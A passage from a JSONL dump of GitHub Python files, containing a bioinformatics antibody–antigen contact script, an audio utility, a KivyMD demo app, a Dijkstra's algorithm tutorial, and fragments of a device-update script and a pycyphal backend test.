b\"\\x32\\x31\\x30\\x39\\x3A\\x32\\x37\\x00\\x32\\x39\\x41\\x30\\x33\\x36\\x33\\x32\"\n b\"\\x57\\x44\\x4E\\x35\\x59\\x46\\x4F\\x4D\\x4B\\x32\\x52\\x52\\x56\\x4A\\x30\\x41\"\n b\"\\x32\\x46\\x39\\x53\\x39\\x36\\x31\\x33\\x1E\\x06\\x00\\x00\\x01\\x00\\x00\", buff, \"packet 3941/3942\")\n \"\"\"\n t.version_raw()\n \n print(\"update ok!\")\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"JohnDMcMaster/libxgecu","sub_path":"t48/update_wip.py","file_name":"update_wip.py","file_ext":"py","file_size_in_byte":1537770,"program_lang":"python","lang":"ja","doc_type":"code","stars":13,"dataset":"github-code","pt":"60"} +{"seq_id":"33348084806","text":"'''\r\nThis file is to extract the sequences of the chains in the complex, the coordinates of \r\nthe atoms in the antigen chain and the coordinates of the atoms of the CDRs.\r\n'''\r\n###################################################\r\nimport json \r\nimport os\r\n#########################################################\r\n\r\n'''\r\nChain_seq is to extract sequences for all the chains in the complex\r\nInputs \r\n file, a pdb file\r\n combined_chain_id, a list of the form ['BDF', 'ACE', 'GH']\r\n in the order of heavy chains, light chains, and antigen chains\r\nReturns: seq, a dictionary of sequences, with the chain id as keys\r\n'''\r\ndef Chain_seq(file, combined_chain_id):\r\n # Combine all the ids together\r\n ids = combined_chain_id[0] + combined_chain_id[1] + combined_chain_id[2]\r\n # creat an empty dictionary, set a tracker to track whether an aa should be\r\n # added to the seq of a partitular chain\r\n seq = {}\r\n tracker = {}\r\n for i in ids:\r\n seq[i] = []\r\n tracker[i] = ''\r\n # load the sequences\r\n for line in file:\r\n if line[:6] == 'ATOM ' and line[21] in ids:\r\n \"\"\"Make sure only record the aa when the position number changes\"\"\"\r\n if tracker[line[21]] != line[22:27]:\r\n seq[line[21]].append(line[17:20])\r\n tracker[line[21]] = line[22:27]\r\n return seq\r\n\r\n\r\n\r\n###############################################################\r\n\r\n'''\r\nCoordinates is to extract the coordinates used to calculate the interactions.\r\ninputs: file, a pdb file\r\n id_dict, combined_chain_id, a list of the form ['BDF', 'ACE', 'GH']\r\n in the order of heavy chains, light chains, and antigen chains\r\nreturn: cdn, a dictionary in the form of with keys ['h1H', 'h2H', 'h3H',\r\n 'l1L', 'l1L', 'l1L', ..Antigen chain ids..]\r\n and the coordinates are in the form of [15.1, 2.2, 3.2, pos, aa]\r\n pos is an integer, indicates the position in the corresponding chain.\r\n aa, is the name of the amino acid.\r\n'''\r\ndef Coordinates(file, combined_chain_id):\r\n # creat an empty dictionary to contain the results\r\n cdn = {}\r\n for i in combined_chain_id[0]:\r\n cdn['h1'+i], cdn['h2'+i], cdn['h3'+i] = [], [], []\r\n for i in combined_chain_id[1]:\r\n cdn['l1'+i], cdn['l2'+i], cdn['l3'+i] = [], [], []\r\n for i in combined_chain_id[2]:\r\n cdn[i] = []\r\n \r\n # creat a tracker dictionary, and a counter dictionary\r\n tracker = {}\r\n counter = {}\r\n ids = combined_chain_id[0] + combined_chain_id[1] + combined_chain_id[2]\r\n for i in ids:\r\n tracker[i] = ''\r\n counter[i] = -1\r\n \r\n # creat a dictionary to indicate the types of chains\r\n chain_type = {}\r\n for i in combined_chain_id[0]:\r\n chain_type[i] = 'H'\r\n for i in combined_chain_id[1]:\r\n chain_type[i] = 'L'\r\n for i in combined_chain_id[2]:\r\n chain_type[i] = 'A'\r\n \r\n # set the range of CDRh and CDRl, all the numbers take the same counting system\r\n # as python, with the firt one numbered 0. The following method is a conserved way.\r\n # The starting and the ending point covers all the cdrs nomatter in what way we \r\n # define the cdrs.\r\n #fluctuate the lower limit and upper limit by 3\r\n l_range = [[23, 40], [49, 63], [89, 110]]\r\n h_range = [[25, 37], [50, 71], [99, 129]]\r\n# l_range = [[20, 43], [46, 66], [86, 110]]\r\n# h_range = [[22, 40], [47, 74], [96, 132]]\r\n \r\n # extract the coordinates\r\n for line in file:\r\n if line[:6] == 'ATOM ' and line[21] in ids:\r\n # update the parameters\r\n if tracker[line[21]]!= line[22:27]:\r\n counter[line[21]] += 1\r\n tracker[line[21]] = line[22:27]\r\n # extract all the parameters corresponding to line[21]\r\n c_type = chain_type[line[21]]\r\n count = counter[line[21]]\r\n # collect the coordinates according to c_type\r\n if c_type == 'H':\r\n #Tell the CDR type and load\r\n if count in range(h_range[0][0], h_range[0][1]+1):\r\n cdn['h1'+line[21]].append([float(line[30:38]), float(line[38:46]), float(line[46:54]),\r\n count, line[17:20]])\r\n if count in range(h_range[1][0], h_range[1][1]+1):\r\n cdn['h2'+line[21]].append([float(line[30:38]), float(line[38:46]), float(line[46:54]),\r\n count, line[17:20]])\r\n if count in range(h_range[2][0], h_range[2][1]+1):\r\n cdn['h3'+line[21]].append([float(line[30:38]), float(line[38:46]), float(line[46:54]),\r\n count, line[17:20]])\r\n \r\n if c_type == 'L':\r\n #Tell the CDR type and load\r\n if count in range(l_range[0][0], l_range[0][1]+1):\r\n cdn['l1'+line[21]].append([float(line[30:38]), float(line[38:46]), float(line[46:54]),\r\n count, line[17:20]])\r\n if count in range(l_range[1][0], l_range[1][1]+1):\r\n cdn['l2'+line[21]].append([float(line[30:38]), float(line[38:46]), float(line[46:54]),\r\n count, line[17:20]])\r\n if count in range(l_range[2][0], l_range[2][1]+1):\r\n cdn['l3'+line[21]].append([float(line[30:38]), float(line[38:46]), float(line[46:54]),\r\n count, line[17:20]])\r\n if c_type == 'A':\r\n cdn[line[21]].append([float(line[30:38]), float(line[38:46]), float(line[46:54]),\r\n count, line[17:20]]) \r\n \r\n return cdn\r\n'''Extract all the coordinates and store them in dictionary coordinates with keys\r\n pdbid and the elements cdn\r\n'''\r\n\r\n##############################################################\r\n# Extract the contact\r\n'''\r\nGet_contact is to calculate the contact number between amino acids. This function\r\n is time consuming.\r\ninputs, cdn, a dictionary in the form of with keys ['h1H', 'h2H', 'h3H',\r\n 'l1L', 'l1L', 'l1L', ..Antigen chain ids..] \r\n and the coordinates are in the form of [15.1, 2.2, 3.2, pos, aa]\r\n pos is an integer, indicates the position in the corresponding chain\r\n aa, is the name of the amino acid.\r\n cutoff, a float, gives the cutoff distance\r\n matched_ids, a list in the form of [[H,L,A], [L, M, N]], where \r\n [H, L, A] means those three are in a contacting group\r\nreturn: contact, a list, in the form of [[h1HA, 32, 15, 8], ....]\r\n this means, the amino acid at position 32, which is located at CDRh1 of chain H, \r\n contact with amino acid at position 15 of chain 'A'. The contact number \r\n under the given cutoff is 8. The contact number is calculated by the following way:\r\n if atomA1 from aaA contacts with atomB1 from aaB, then the contact number \r\n between aaA and aaB increased by 1. The contact between atomA1 and atomB1\r\n is only counted once.\r\n'''\r\ndef Get_contact(cdn, matched_ids, cutoff = 4):\r\n # Creat an empty list to contain the temporary results\r\n contact_temp = []\r\n squared_cutoff = cutoff**2\r\n # sorting the keys into CDR and antigen groups\r\n # it is better to use the information of the matched ids\r\n # the grouped results should be stored in the form of[ [[h1H, h2H,h3H], [A]], ...]\r\n grouped =[]\r\n for matched in matched_ids:\r\n if matched[2] != '':\r\n if matched[0] != '':\r\n grouped.append([['h1'+matched[0], 'h2'+matched[0], 'h3'+matched[0]], [matched[2]]])\r\n if matched[1] != '':\r\n grouped.append([['l1'+matched[1], 'l2'+matched[1], 'l3'+matched[1]], [matched[2]]])\r\n #calculate the contact according to the grouped\r\n for match in grouped: \r\n # calculate the distance and iterating through all possible combinations\r\n for i in match[0]:\r\n for j in match[1]:\r\n for atom1 in cdn[i]:\r\n for atom2 in cdn[j]:\r\n # We can accelerate this process by selecting the max abs first\r\n diff = [atom1[0]-atom2[0],atom1[1]-atom2[1],atom1[2]-atom2[2]] \r\n # is it faster to compare the square than the sequare root?\r\n s = 0\r\n for component in diff:\r\n s += component**2\r\n if s > squared_cutoff:# this step can accelerate the calculation by a lot.\r\n break \r\n if s <= squared_cutoff:\r\n contact_temp.append([i+j, atom1[3], atom2[3]]) \r\n # Count method: Creat a dictionary to count\\\r\n contact = []\r\n count_dict = {}\r\n for i in contact_temp:\r\n string = i[0] + '_' + str(i[1]) + '_' + str(i[2])\r\n if string in count_dict:\r\n count_dict[string] += 1\r\n else:\r\n count_dict[string] = 1\r\n # change the count_dict to contact\r\n contact = []\r\n for i in count_dict:\r\n element = i.split('_')\r\n element[1] = int(element[1])\r\n element[2] = int(element[2])\r\n element.append(count_dict[i])\r\n contact.append(element)\r\n \r\n return contact\r\n##################################################################\r\n\r\n'''\r\nwd: the working directory\r\npercent: the percentage of the latest ids\r\n'''\r\ndef main(wd, cutoff = 4):\r\n # Extract the information from the summary file\r\n os.chdir(wd)\r\n with open('combined_ids', 'r') as f:\r\n combined_ids = json.load(f)\r\n with open('matched_ids', 'r') as f:\r\n matched_ids = json.load(f)\r\n with open('training_combined_ids', 'r') as f:\r\n training_combined_ids = json.load(f)\r\n with open('training_matched_ids', 'r') as f:\r\n training_matched_ids = json.load(f)\r\n with open('testing_combined_ids', 'r') as f:\r\n testing_combined_ids = json.load(f)\r\n with open('testing_matched_ids', 'r') as f:\r\n testing_matched_ids = json.load(f)\r\n \r\n os.chdir(wd+'/imgt')\r\n # Extract the sequence\r\n sequence = {}\r\n for i in combined_ids:\r\n print('Extracting sequence '+ i)\r\n with open(i + '.pdb', 'r') as file:\r\n sequence[i] = Chain_seq(file, combined_ids[i]) \r\n \r\n # Extract the coordinates\r\n coordinates = {}\r\n for i in combined_ids:\r\n print('Extracting coordinates ' + i)\r\n with open(i + '.pdb', 'r') as file:\r\n coordinates[i] = Coordinates(file, combined_ids[i])\r\n \r\n #Find the contact between the antigens and the CDRs\r\n import time\r\n start =time.clock()\r\n contact = {}\r\n n = 0\r\n for i in matched_ids:\r\n n += 1\r\n print('Calculating ' + i + ' ' + str(n))\r\n contact[i] = Get_contact(coordinates[i], matched_ids[i], cutoff)\r\n end = time.clock()\r\n print('Running time: %s Seconds'%(end-start))\r\n \r\n # remove the dud before saving\r\n dud_AAC = []\r\n for pdbid in contact:\r\n if contact[pdbid] == []:\r\n dud_AAC.append(pdbid)\r\n \r\n # Update the matched ids, training and testing ids according to the contact\r\n update_pdb = []\r\n for pdb in combined_ids:\r\n if pdb not in contact:\r\n update_pdb.append(pdb)\r\n \r\n for key in update_pdb:\r\n del combined_ids[key]\r\n del matched_ids[key]\r\n if key in training_combined_ids:\r\n del training_combined_ids[key]\r\n del training_matched_ids[key]\r\n if key in testing_combined_ids:\r\n del testing_combined_ids[key]\r\n del testing_matched_ids[key]\r\n \r\n os.chdir(wd)\r\n with open('combined_ids', 'w') as f:\r\n json.dump(combined_ids, f)\r\n with open('matched_ids', 'w') as f:\r\n json.dump(matched_ids, f)\r\n with open('training_combined_ids', 'w') as f:\r\n json.dump(training_combined_ids, f)\r\n with open('training_matched_ids', 'w') as f:\r\n json.dump(training_matched_ids, f)\r\n with open('testing_combined_ids', 'w') as f:\r\n json.dump(testing_combined_ids, f)\r\n with open('testing_matched_ids', 'w') as f:\r\n json.dump(testing_matched_ids, f)\r\n\r\n \r\n return sequence, contact\r\n \r\n \r\n \r\n######################################################################\r\n'''\r\nInput:\r\n working_directory:\r\n the directory where the pdb files are located\r\n cutoff:\r\n if the Euclidean distance between two atoms is below this value, \r\n they are considered in contact.\r\nOutput:\r\n sequence:\r\n a dictionary with each element in the following form:\r\n pdbid:{A: ['ALA', 'SER', ...], 'B':['THR', 'ARG', ...]}\r\n contact:\r\n refer to Get_contact.\r\n'''\r\n\r\nif __name__ == '__main__':\r\n # wd is the working directory, sd is the saving directory\r\n working_directory = \"/home/leo/Documents/Database/Data_Code_Publish/Structures\" \r\n saving_directory = \"/home/leo/Documents/Database/Data_Code_Publish/Structures\" \r\n sequence, contact= main(working_directory, cutoff = 4)\r\n os.chdir(saving_directory)\r\n with open('sequence', 'w') as f:\r\n json.dump(sequence, f)\r\n with open('contact', 'w') as f:\r\n json.dump(contact, f)\r\n\r\n\r\n#\r\n#with open('combined_ids', 'r') as f:\r\n# combined_ids = json.load(f)\r\n#with open('matched_ids', 'r') as f:\r\n# matched_ids = json.load(f)\r\n#with open('training_combined_ids', 'r') as f:\r\n# training_combined_ids = json.load(f)\r\n#with open('training_matched_ids', 'r') as f:\r\n# training_matched_ids = json.load(f)\r\n#with open('testing_combined_ids', 'r') as f:\r\n# testing_combined_ids = json.load(f)\r\n#with open('testing_matched_ids', 'r') as f:\r\n# testing_matched_ids = json.load(f)\r\n#with open('contact', 'r') as f:\r\n# contact = json.load(f)\r\n# \r\n#update_pdb = []\r\n#for pdb in training_combined_ids:\r\n# if pdb not in contact:\r\n# update_pdb.append(pdb)\r\n# \r\n#for pdb in testing_combined_ids:\r\n# if pdb not in contact:\r\n# update_pdb.append(pdb)\r\n# \r\n#update_pdb \r\n#for key in update_pdb:\r\n# if key in training_combined_ids:\r\n# del training_combined_ids[key]\r\n# del training_matched_ids[key]\r\n# if key in testing_combined_ids:\r\n# del testing_combined_ids[key]\r\n# del testing_matched_ids[key]\r\n# \r\n#os.chdir(wd)\r\n#with open('combined_ids', 'w') as f:\r\n# json.dump(combined_ids, f)\r\n#with open('matched_ids', 'w') as f:\r\n# json.dump(matched_ids, f)\r\n#with open('training_combined_ids', 'w') as f:\r\n# json.dump(training_combined_ids, f)\r\n#with open('training_matched_ids', 'w') as f:\r\n# json.dump(training_matched_ids, f)\r\n#with open('testing_combined_ids', 'w') as f:\r\n# json.dump(testing_combined_ids, f)\r\n#with open('testing_matched_ids', 'w') as f:\r\n# json.dump(testing_matched_ids, f)\r\n\r\n\r\n#len(training_combined_ids)\r\n#len(training_matched_ids)\r\n#len(testing_matched_ids)\r\n#len(testing_combined_ids)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"Leochuanxing/Paritope_Epitope","sub_path":"AAC_2.py","file_name":"AAC_2.py","file_ext":"py","file_size_in_byte":15237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"9540966270","text":"import torch\nimport torch.nn as nn\n\n\ndef handle_scp(scp_path):\n '''\n Read scp file script\n input: \n scp_path: .scp file's file path\n output: \n scp_dict: {'key':'wave file path'}\n '''\n scp_dict = dict()\n line = 0\n lines = open(scp_path, 'r').readlines()\n for l in lines:\n scp_parts = l.strip().split()\n line += 1\n if len(scp_parts) != 2:\n raise RuntimeError(\"For {}, format error in line[{:d}]: {}\".format(\n scp_path, line, scp_parts))\n if len(scp_parts) == 2:\n key, value = scp_parts\n if key in scp_dict:\n raise ValueError(\"Duplicated key \\'{0}\\' exists in {1}\".format(\n key, scp_path))\n\n scp_dict[key] = value\n\n return scp_dict\n\n\ndef check_parameters(net):\n '''\n Returns module parameters. Mb\n '''\n parameters = sum(param.numel() for param in net.parameters())\n return parameters / 10**6\n\n","repo_name":"JusperLee/Dual-Path-RNN-Pytorch","sub_path":"utils/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","stars":362,"dataset":"github-code","pt":"60"} +{"seq_id":"74734240191","text":"from kivy.lang import Builder\r\nfrom kivymd.app import MDApp\r\nfrom kivymd.uix.boxlayout import MDBoxLayout\r\nfrom kivymd.theming import ThemableBehavior\r\nfrom kivymd.uix.list import MDList\r\nfrom kivymd.uix.list import OneLineIconListItem\r\nfrom kivy.uix.scrollview import ScrollView\r\nfrom kivy.core.window import Window\r\nfrom kivy.utils import platform\r\nfrom kivymd.uix.screen import MDScreen\r\nfrom kivy.properties import ObjectProperty\r\nfrom kivymd.uix.scrollview import MDScrollView\r\nfrom kivy.clock import Clock\r\nfrom kivymd.app import MDApp\r\nfrom kivymd.uix.screen import Screen\r\nfrom kivymd.uix.datatables import MDDataTable\r\nfrom kivy.metrics import dp\r\nfrom kivymd.app import MDApp\r\nfrom kivymd.uix.screen import Screen\r\nfrom kivymd.uix.datatables import MDDataTable\r\nfrom kivy.metrics import dp\r\nfrom kivy.lang import Builder\r\nfrom kivy.uix.screenmanager import Screen\r\nfrom kivymd.app import MDApp\r\nfrom kivy.lang import Builder\r\nfrom kivy.clock import Clock\r\nfrom kivy.uix.screenmanager import ScreenManager\r\nfrom kivymd.app import MDApp\r\nfrom kivy.core.window import Window\r\n\r\nclass ContentNavigationDrawer(MDBoxLayout):\r\n manager = ObjectProperty()\r\n nav_drawer = ObjectProperty()\r\n \r\n\r\nclass DrawerList(ThemableBehavior, MDList):\r\n def set_color_item(self, instance_item):\r\n\r\n # Set the color of the icon and text for the menu item.\r\n for item in self.children:\r\n if item.text_color == self.theme_cls.primary_color:\r\n item.text_color = self.theme_cls.text_color\r\n break\r\n instance_item.text_color = self.theme_cls.primary_color\r\n \r\n\r\n\r\nclass MyApp (MDApp): \r\n def build(self):\r\n self.title = \"PymeShield\"\r\n Window.size = (400, 600)\r\n scroll = ScrollView()\r\n\r\n list_view = MDList()\r\n for i in range(20):\r\n\r\n items = OneLineIconListItem(text=str(i) + ' item')\r\n list_view.add_widget(items)\r\n\r\n scroll.add_widget(list_view)\r\n\r\n return Builder.load_file(\"main2.kv\")\r\n\r\n\r\n\r\nclass LlistatUsuaris(MDApp):\r\n\r\n def build(self):\r\n screen = Screen()\r\n data_table = MDDataTable(pos_hint={'center_x': 0.5, 'center_y': 0.5},\r\n size_hint=(0.9, 0.6),\r\n check=True,\r\n rows_num=10,\r\n column_data=[\r\n (\"ID\", dp(18)),\r\n (\"Usuari\", dp(20)),\r\n (\"Rol\", dp(20))\r\n ],\r\n row_data=[\r\n (\"1\", \"Usuari1\", \"Admin\"),\r\n (\"2\", \"Usuari2\", \"Client\"),\r\n (\"3\", \"Usuari3\", \"Client\"),\r\n (\"4\", \"Usuari4\", \"Admin\"),\r\n (\"5\", \"Usuari5\", \"Worker\"),\r\n (\"6\", \"Usuari6\", \"Admin\"),\r\n (\"7\", \"Usuari7\", \"Admin\"),\r\n (\"8\", \"Usuari8\", \"Worker\")\r\n\r\n ]\r\n )\r\n data_table.bind(on_row_press=self.on_row_press)\r\n data_table.bind(on_check_press=self.on_check_press)\r\n screen.add_widget(data_table)\r\n return screen\r\n\r\n def on_row_press(self, instance_table, instance_row):\r\n print(instance_table, instance_row)\r\n\r\n def on_check_press(self, instance_table, current_row):\r\n print(instance_table, current_row)\r\n\r\nclass MyApp2 (MDApp): \r\n def build(self):\r\n self.title = \"PymeShield\"\r\n Window.size = (400, 600)\r\n scroll = ScrollView()\r\n\r\n list_view = MDList()\r\n for i in range(20):\r\n\r\n items = OneLineIconListItem(text=str(i) + ' item')\r\n list_view.add_widget(items)\r\n\r\n scroll.add_widget(list_view)\r\n\r\n return Builder.load_file(\"main3.kv\")\r\n\r\n#Login\r\nfrom kivymd.app import MDApp\r\nfrom kivymd.uix.screen import Screen\r\nfrom kivymd.uix.textfield import MDTextField\r\nfrom kivy.lang import Builder\r\nfrom helpers import username_input\r\nfrom kivymd.uix.button import MDRectangleFlatButton, MDFlatButton\r\nfrom helpers import contrasenya_input\r\nfrom kivymd.uix.dialog import MDDialog\r\n\r\nclass Login(MDApp):\r\n\r\n def build(self):\r\n screen = Screen()\r\n self.theme_cls.primary_palette= \"Orange\" \r\n # username = MDTextField(text='Posa el usuari', #Text que volem que aparegui al \"input\"\r\n # pos_hint={'center_x':0.5, 'center_y':0.5}, #Centrarem \r\n # size_hint_x= None, width=300) #Aportarem marge al input i el farem responsive\r\n # screen.add_widget(username)\r\n button = MDRectangleFlatButton(text='Mostra', pos_hint={'center_x':0.5, 'center_y': 0.3},\r\n on_release=self.show_data) #Cridarà a la funció show_data\r\n \r\n\r\n self.username = Builder.load_string(username_input)\r\n password = Builder.load_string(contrasenya_input)\r\n screen.add_widget(self.username)\r\n screen.add_widget(password)\r\n screen.add_widget(button)\r\n\r\n return screen\r\n\r\n def show_data(self,obj):\r\n #Estructura de control per comprovar que la informació és correcta\r\n if self.username.text is \"\":\r\n check_string = \"Si us plau, posa un usuari.\"\r\n else:\r\n check_string = self.username.text + \" no existeix\"\r\n \r\n close_button = MDFlatButton(text='Tancar', on_release = self.close_dialog)\r\n more_button = MDFlatButton(text='Més')\r\n\r\n #Ens sortirà un pop-up del que hem posat (dialog)\r\n self.dialog = MDDialog(title='Usuari', text=check_string, \r\n buttons=[close_button, more_button])\r\n\r\n self.dialog.open()\r\n\r\n def close_dialog(self,obj):\r\n self.dialog.dismiss()\r\n\r\n#Perfil usuari\r\n\r\nBuilder.load_string(\r\n '''\r\n#:import Window kivy.core.window.Window\r\n#:import IconLeftWidget kivymd.uix.list.IconLeftWidget\r\n\r\n icon: \"android\"\r\n \r\n IconLeftWidget:\r\n icon: root.icon\r\n\r\n backdrop: None\r\n text: \"Usuari\"\r\n secondary_text: \"Correu\"\r\n tertiary_text:'Teléfon'\r\n icon: \"transfer-down\"\r\n on_press: root.backdrop.open(-Window.height / 2)\r\n pos_hint: {\"top\": 1}\r\n _no_ripple_effect: True\r\n\r\n size_hint: .8, .8\r\n source: \"descarga.jpeg\"\r\n pos_hint: {\"center_x\": .5, \"center_y\": .6}\r\n \r\n'''\r\n)\r\n\r\n# Usage example of MDBackdrop.\r\nBuilder.load_string(\r\n '''\r\n\r\n \r\n MDBackdrop:\r\n id: backdrop\r\n left_action_items: [['menu', lambda x: self.open()]]\r\n title: \"Dades\"\r\n radius_left: \"25dp\"\r\n radius_right: \"0dp\"\r\n header_text: \"Menu\"\r\n \r\n MDBackdropBackLayer:\r\n MyBackdropBackLayer:\r\n id: backlayer\r\n \r\n MDBackdropFrontLayer:\r\n MyBackdropFrontLayer:\r\n backdrop: backdrop \r\n'''\r\n)\r\n\r\n\r\nclass ExampleBackdrop(Screen):\r\n pass\r\n\r\n\r\nclass Perfil(MDApp):\r\n def __init__(self, **kwargs):\r\n super().__init__(**kwargs)\r\n\r\n def build(self):\r\n return ExampleBackdrop()\r\n\r\n#Splash\r\n\r\nWindow.fullscreen = False\r\n\r\n########################################################################\r\n## SET WINDOW SIZE\r\n########################################################################\r\nWindow.size = (350, 600)\r\n# Window.fullscreen = True\r\n########################################################################\r\n## MAIN CLASS\r\n########################################################################\r\nclass MainApp(MDApp):\r\n # Global screen manager variable\r\n global screen_manager\r\n screen_manager = ScreenManager()\r\n \r\n ########################################################################\r\n ## Build Function\r\n ########################################################################\r\n def build(self):\r\n # Set App Title\r\n self.title=\" Splash APP\"\r\n \r\n # Load kv screen files to builder\r\n screen_manager.add_widget(Builder.load_file(\"splashScreen.kv\"))\r\n screen_manager.add_widget(Builder.load_file(\"mainScreen.kv\"))\r\n \r\n # Return screen manager\r\n return screen_manager\r\n ########################################################################\r\n ## This function runs on app start\r\n ########################################################################\r\n def on_start(self):\r\n # Delay time for splash screen before transitioning to main screen\r\n Clock.schedule_once(self.change_screen, 20) # Delay for 10 seconds\r\n \r\n ########################################################################\r\n ## This function changes the current screen to main screen\r\n ########################################################################\r\n def change_screen(self, dt): \r\n screen_manager.current = \"MainScreen\"\r\n \r\n \r\n########################################################################\r\n## RUN APP\r\n######################################################################## \r\nMainApp().run()\r\nLogin().run()\r\nMyApp().run()\r\nLlistatUsuaris().run()\r\nMyApp2().run()\r\nPerfil().run()","repo_name":"AleixEspatarrecPN/Sprint2_Equip1_Projecte-Global","sub_path":"KivyMD/KivyMD_/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"34425975943","text":"import sys\n\n\"\"\"\n=========================================================================================================\ndijkstra's_algorithm.py\n=========================================================================================================\n\nGoal: This is a comment\n I am implementing Dijkstra's Algorithm in Python, following along with tutorial by Amitabha Dey\n\nSources:\n [1] Amitabha Dey's Youtube Video: https://www.youtube.com/watch?v=Ub4-nG09PFw\n [2] Amitabha Dey's Github Gist: https://gist.github.com/amitabhadey/37af83a84d8c372a9f02372e6d5f6732\n [3] Logging Tutorial https://docs.python.org/3.1/library/logging.html\n\nDisclaimer(s):\n I do not claim any credit for this code. It was following along with [2] and the end result pretty much [1].\n However, I have spent significant time and effort refactoring and optimizing.\n I do however, claim credit for the ascii art, as I'm quite proud of it.\n\ndirected_graph_a: Besides nodes G & H, all other nodes have one-way edges.\n\n > > > > [D] > > > > > > [G]\n [A] > > > > >\n > > > >\n v > > > > >\n > [E] v ^\n v [C] > v ^\n >> > >\n v > >> >\n >> >\n [B] > > > > > [F] >> >> >> >> [H]\n\n\nundirected_graph_a: All edges are 2-way.\n\n / - - - - [ A ]\n [F] //// | \\\n |||| \\ //// | \\\\\\\n |||| \\ //// | \\\n |||| [E] - [D] - [B]\n |||| / \\ //\n [C] - - [G]\n\n\"\"\"\n\ndirected_graph_a = {\n 'A': {'B': 3, 'C': 4, 'D': 7},\n 'B': {'C': 1, 'F': 5},\n 'C': {'F': 6, 'D': 2},\n 'D': {'E': 3, 'G': 6},\n 'E': {'G': 3, 'H': 4},\n 'F': {'E': 1, 'H': 8},\n 'G': {'H': 2},\n 'H': {'G': 2}\n}\n\nundirected_graph_a = {\n 'A': {'B': 5, 'D': 3, 'E': 12, 'F': 5},\n 'B': {'A': 5, 'D': 1, 'G': 2},\n 'C': {'E': 1, 'F': 16, 'G': 2},\n 'D': {'A': 3, 'B': 1, 'E': 1, 'G': 1},\n 'E': {'A': 12, 'C': 1, 'D': 1, 'F': 2},\n 'F': {'A': 5, 'C': 16, 'E': 2},\n 'G': {'B': 2, 'C': 2, 'D': 1}\n}\n\n\ndef dijkstras_algorithm(graph, start_node, end_node, infinity=sys.maxsize):\n path, node_predecessor = [], {} # Final Path, {Node_N: 2nd-to-last Node in shortest path to N}\n unseen_nodes = graph.copy() # Make a copy so we don't alter the input graph. (In case user needs it later).\n shortest_distance = {node: (infinity if node != start_node else 0) # Least cost to a given node from start_node\n for node in unseen_nodes} # This will be updated as we iterate and find better paths.\n\n while unseen_nodes: # Step 1: 'See' all nodes and register them appropriately to data structures above\n min_distance_node = None # By Default, Least-Path-Connection-Nodes are set to None\n for node in unseen_nodes: # Step 1a: Iterate through all unseen nodes to find lowest cost\n if min_distance_node is None or shortest_distance[node] < shortest_distance[min_distance_node]:\n min_distance_node = node # min_distance_node = node by default or if new node has lower cost\n\n path_options = graph[min_distance_node].items() # Get child nodes of current lowest cost node\n\n for child_node, weight in path_options: # Iterate through path_options to see if reduced-cost paths present.\n if weight + shortest_distance[min_distance_node] < shortest_distance[child_node]:\n shortest_distance[child_node] = weight + shortest_distance[min_distance_node]\n node_predecessor[child_node] = min_distance_node # Updates least_cost & associated parent node\n\n del unseen_nodes[min_distance_node] # We'll break the while loop after registering all nodes & paths\n\n current_node = end_node # Work backwards from end/goal node, then grab Least-Path-Connection-Nodes in sequence\n\n while current_node != start_node:\n try:\n path.insert(0, current_node) # Add to beginning of list\n current_node = node_predecessor[current_node] # Next node will be this node's Least-Path-Connection-Node\n except KeyError: # Error Handling\n print(\"You have entered a key that does not exist in the requested dictionary 'node_predecessor'.\")\n\n path.insert(0, start_node) # Append Starting Node\n\n if shortest_distance[end_node] != infinity: # If shortest_distance[end_node] = infinity, path does not exist\n return path, shortest_distance[end_node]\n\n return None, None\n\n\nshortest_path, least_cost = dijkstras_algorithm(undirected_graph_a, 'A', 'H')\nprint('Shortest distance from {0} to {1} is {2}, and is obtained by taking the optimized path below:\\n\\t{3}'\n .format(shortest_path[0], shortest_path[-1], least_cost, shortest_path))\n","repo_name":"ivan-sepulveda/algorithms","sub_path":"pathfinding/dijkstras_algorithm.py","file_name":"dijkstras_algorithm.py","file_ext":"py","file_size_in_byte":4851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"44541086030","text":"import asyncio\nimport json\nimport logging\nimport os\nimport traceback\nimport math\nimport typing\n\nimport psutil\nimport pycyphal\nimport pycyphal.application\nimport requests\nfrom pycyphal.application.register import ValueProxy, Real32\nfrom requests.adapters import HTTPAdapter\nimport aiohttp\n\nimport uavcan\nfrom yukon.services.value_utils import explode_value\nfrom .create_yukon import create_yukon\n\nlogger = logging.getLogger(__name__)\n\nOneTryHttpAdapter = HTTPAdapter(max_retries=1)\n\n\ndef get_registry_with_transport_set_up(node_id: int) -> pycyphal.application.register.Registry:\n registry_dict = pycyphal.application.make_registry(\n \":memory:\",\n environment_variables={\n \"UAVCAN__UDP__IFACE\": \"127.0.0.1\",\n \"UAVCAN__NODE__ID\": str(node_id),\n },\n )\n return registry_dict\n\n\ndef make_test_node_info(name: str) -> uavcan.node.GetInfo_1.Response:\n node_info = uavcan.node.GetInfo_1.Response(\n software_version=uavcan.node.Version_1(major=1, minor=0),\n name=name,\n )\n return node_info\n\n\ndef kill(proc_pid):\n process = psutil.Process(proc_pid)\n for proc in process.children(recursive=True):\n proc.kill()\n process.kill()\n\n\nclass TestBackendTestSession:\n async def test_reread_register_value(self):\n \"\"\"0. Make a test_subject node and a test_node node.\n 1. Set the value of analog.rcpwm.deadband to 0.1.\n 2. Initialize Yukon (create_yukon).\n 3. Use registry.setdefault to set the value of analog.rcpwm.deadband to 0.2.\n 4. At this point, a request should be made to localhost:5001/api/get_avatars,\n the node with node_id corresponding to\n test_subject should have the register analog.rcpwm.deadband with the value of 0.1, because it doesn't reread\n automatically.\n 5. Send a request to reread the register.\n 6. Read the value of analog.rcpwm.deadband and check that it is 0.2.\n Do this by making a request to localhost:5000/api/get_avatars. The avatar that has\n the node id of the test_subject node should have a register named analog.rcpwm.deadband with a value of 0.2.\n \"\"\"\n session = None\n yukon_process = None\n try:\n with pycyphal.application.make_node(\n make_test_node_info(\"test_subject\"), get_registry_with_transport_set_up(126)\n ) as node, pycyphal.application.make_node(\n make_test_node_info(\"tester\"),\n get_registry_with_transport_set_up(127),\n ) as 